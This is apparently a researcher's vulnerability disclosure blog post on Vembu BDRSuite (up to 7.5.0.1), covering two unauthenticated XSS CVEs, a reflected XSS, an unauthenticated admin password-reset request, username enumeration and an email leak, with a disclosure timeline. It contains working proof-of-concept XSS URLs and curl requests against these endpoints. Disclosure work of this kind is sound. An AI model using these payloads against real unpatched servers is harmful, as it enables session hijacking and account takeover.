Vembu BDRSuite: Unauth XSS, Weird Endpoints and Silent Patches (β€ 7.5.0.1)
- Introduction
- CVE-2025-30007 β Unauthenticated XSS in
serverbackupprogress.sgp
- CVE-2025-30008 β Unauthenticated XSS in
restoreprogress.sgp
- Reflected XSS in
getloginstate
(No CVE) - Password Reset via
ResellerSetPassword
(Unexploited Logic) - Username Enumeration via
CheckUserExists
- Suspicious Behavior in
SignupCustomer
- Timeline
- Final Thoughts
Introduction
Vembu BDRSuite is an all-in-one backup and disaster recovery solution designed to protect virtual, physical, cloud, and SaaS workloads. It targets small and medium businesses as well as managed service providers (MSPs), offering centralized backup management for VMware, Hyper-V, Windows/Linux servers, Microsoft 365, Google Workspace, and more. BDRSuite provides features such as instant recovery, replication, ransomware protection, and flexible deployment (on-prem or cloud).
In August 2024, I started digging into BDRSuite as part of a personal initiative to audit backup platforms, something I had already done earlier that year with Vinchin, where I found interesting results. I also took a look at Nakivo during that period but didnβt find anything conclusive.
This blog post documents the outcome of my research on Vembu BDRSuite. It includes two unauthenticated XSS vulnerabilities that I reported and got patched (CVE-2025-30007 and CVE-2025-30008), and a few other leads, some of which were likely fixed before I had a chance to fully exploit them.
Also, props to the team at WatchTowr for their outstanding work on Nakivo. While I didn’t find anything myself during my tests, their research on this product uncovered several impactful vulnerabilities and definitely raised the bar for backup software audits. Their work was one of the things that motivated me to explore this space further. For a detailed analysis, refer to their blog post: The Best Security Is When We All Agree To Keep Everything Secret (Except The Secrets) β NAKIVO Backup & Replication (CVE-2024-48248).
CVE-2025-30007 β Unauthenticated XSS in serverbackupprogress.sgp
Description
This page includes multiple JavaScript-based interactions using unsanitized values derived from GET and POST parameters. Two separate XSS vulnerabilities exist:
- A DOM-based injection via URL parameters embedded into
loadXMLDoc()
. - A POST-based injection via
grpName
, used in aPOST
call tododeleteclientbackup.sgp
.
A. DOM-based XSS (loadXMLDoc
)
loadXMLDoc("<?php echo $SG_ROOT_PATH; ?>http/reloadserverbackup.sgp?from=1&cn=" + '<?php echo $ClientNameSel; ?>' + "&bn=" + '<?php echo $BackupName; ?>' + "&mn=" + '<?php echo $machineNameToConnect; ?>' + "&pn=" + '<?php echo $portNumber; ?>');
Parameters like ClientNameSel
and BackupName
are injected directly into the DOM as JavaScript string interpolations, making them vulnerable to XSS.
GET-based PoC:
http://localhost:6060/templates/progress/serverside/serverbackupprogress.sgp?ClientName=<script>alert("XSS")</script>&BackupName=test&clusterIP=127.0.0.1&portNumber=6060
B. POST-based XSS (grpName
)
Inside the same page, the AbortBackup()
function creates a POST
request to dodeleteclientbackup.sgp
, and the grpName
parameter is rendered back into the page without escaping, leading to XSS.
POST-based PoC:
curl -k -X POST "http://localhost:6060/server/dodeleteclientbackup.sgp" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grpName=<script>alert('XSS')</script>&bkupName=test&jobAction=2&abort=1&clusterIP=127.0.0.1&portNumber=6060"
This payload is rendered and executed within the context of serverbackupprogress.sgp
, confirming a classic stored/reflected XSS depending on the server logic.
Impact
These issues allow an unauthenticated attacker to inject and execute JavaScript in the context of a logged-in user, leading to session hijacking or UI manipulation. Since the affected page is exposed under certain Docker builds without login, this can be weaponized.
CVE-2025-30008 β Unauthenticated XSS in restoreprogress.sgp
Description
In restoreprogress.sgp
, nearly all parameters from the URL are reflected in the HTML without proper sanitization.
Affected Parameters
mn
rnm
isRepliRestore
rusr
rpwd
GET-based PoC
http://localhost:6060/templates/progress/clientside/restoreprogress.sgp?mn=<script>alert('XSS')</script>&rnm=testRestoreJob&isRepliRestore=0&rusr=<script>alert('XSS')</script>&rpwd=secretPassword
Impact
Exploiting this endpoint grants an attacker full control over the page’s DOM. This could lead to session theft or further internal exploitation, again, without authentication.
Reflected XSS in getloginstate
(No CVE)
I discovered this in version 7.1.x. The name
parameter is directly reflected in the HTML without encoding:
https://localhost/api.php?Action=getloginstate&browser=Firefox&name=<script>alert('XSS')</script>
It appears to have been fixed somewhere between version 7.1.x and 7.6.0, but I have no idea when exactly. I didn’t submit a CVE since it was already resolved by the time I re-tested.
Password Reset via ResellerSetPassword
(Unexploited Logic)
One of the weirder behaviors: the following unauthenticated POST
request appears to reset the admin’s password:
curl -k -X POST "https://localhost/api.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "Action=ResellerSetPassword&username=admin&temppass=NewSuperPass123&userFirstName=Hacker&userLastName=Exploit"
And yet the response says:
<StoreGrid><Authentication Status="success" Message="" Code="500" ValidationErrorCode="0" /></StoreGrid>
The mix of Status="success"
with Code="500"
is sketchy. My assumption is that the request wasn’t properly handled server-side, or maybe I was just using it wrong. Either way, the endpoint didn’t actually update anything observable.
To be honest, at that point I was drowning in undocumented behaviors, weird permission scopes, and payloads longer than a Skibidi boss fight. Every request felt like casting a spell and hoping for the best. After hours of poking around with zero consistent results, I closed my terminal and accepted defeat.
Still, I’m leaving the trace here in case someone else wants to dig.
Username Enumeration via CheckUserExists
This classic user enumeration endpoint:
curl -k -X POST "https://localhost/sgwebservice.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "Action=CheckUserExists&UserName=admin"
Returns:
EXISTS%
Whereas non-existent names return:
NOT_EXISTS%
This behavior was available in 7.1.x and quietly removed in later versions. I didn’t file a CVE because I couldn’t chain it with anything exploitable.
Suspicious Behavior in SignupCustomer
This one is odd. Submitting what appears to be a duplicate email via SignupCustomer
yields this:
curl -k -X POST "https://localhost/sgwebservice.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "Action=SignupCustomer" \
--data-urlencode "CustomerName=NewCompany" \
--data-urlencode "ResellerName=ExistingReseller" \
--data-urlencode "EMail=balgogan@protonmail.com" \
--data-urlencode "Address=123 Street Name" \
--data-urlencode "City=CyberCity" \
--data-urlencode "Phone=+1234567890" \
--data-urlencode "Fax=+0987654321" \
--data-urlencode "ActivationStatus=1" \
--data-urlencode "AutoAuthorizationStatus=1" \
--data-urlencode "TrialStatus=0" \
--data-urlencode "EnableWebAccess=1" \
--data-urlencode "StorageLocation=/var/storage" \
--data-urlencode "StorageAllotted=500000000" \
--data-urlencode "EnableAutoSpace=1" \
--data-urlencode "EnableConsolidatedReport=1" \
--data-urlencode "UpdatePeriod=7" \
--data-urlencode "ConsolidatedReportEmail=reports@example.com" \
--data-urlencode "WebUserName=vembu" \
--data-urlencode "WebPassword=SuperSecurePass123" \
--data-urlencode "WebPortalPassword=SuperSecurePass123" \
--data-urlencode "UserName=testadmin" \
--data-urlencode "Password=SuperSecurePass123" \
--data-urlencode "PortalUserName=customer@example.com" \
--data-urlencode "groupRoleID=2" \
--data-urlencode "parentGroupID=1" \
--data-urlencode "parentGroupRoleID=5" \
--data-urlencode "groupStatus=1" \
--data-urlencode "groupAuth=1" \
--data-urlencode "IsGlobalConfiguration=1" \
--data-urlencode "IsThrottleEnable=0" \
--data-urlencode "RestrictedRate=1048576" \
--data-urlencode "AlwaysThrottle=1" \
--data-urlencode "ActiveFrom=0900" \
--data-urlencode "ActiveTill=2100" \
--data-urlencode "IsAutoMSPEU=1" \
--data-urlencode "AllotMSPEU=10" \
--data-urlencode "SendMail=1"
Response:
<StoreGrid><Message Error="" Message="" Code="500" ErrCode="278" PortalUserName="balgogan@protonmail.com" WebPortalPassword="" ResellerEmail="" CustomerEmail="balgogan@protonmail.com" EmailStatus=""/></StoreGrid>
It returns the previously registered email in plaintext, but no actionable exploit was found. Possibly broken logic, possibly just poor error handling.
Timeline
- August 2024 β Initial discovery of unauthenticated XSS in
.sgp
files during backup software testing. - February 28, 2025 β Full vulnerability report submitted to BDRSuite support (ticket #745222).
- Same day β Support replies stating the issues were already fixed in “version 8.0” (a version that doesnβt exist).
- March 13, 2025 β CVE requests for the two XSS vulnerabilities submitted via VulnCheck.
- April 15, 2025 β I open a second support ticket (#762326) after weeks without any update.
- April 15, 2025 β Support responds, apologizes, and says the original ticket was closed “by accident”.
- April 15, 2025 β Confirmation that both XSS vulnerabilities are fixed in version 7.6.0, released the same day.
- April 2025 β CVE-2025-30007 and CVE-2025-30008 are officially assigned and published.
Final Thoughts
Some bugs were impactful. Others were weird dead-ends. But I wanted to avoid a situation where issues get patched silently, so I took the time to write this. If you’re exploring older versions of BDRSuite, or curious about legacy script-based attack surfaces, this might help you dig further.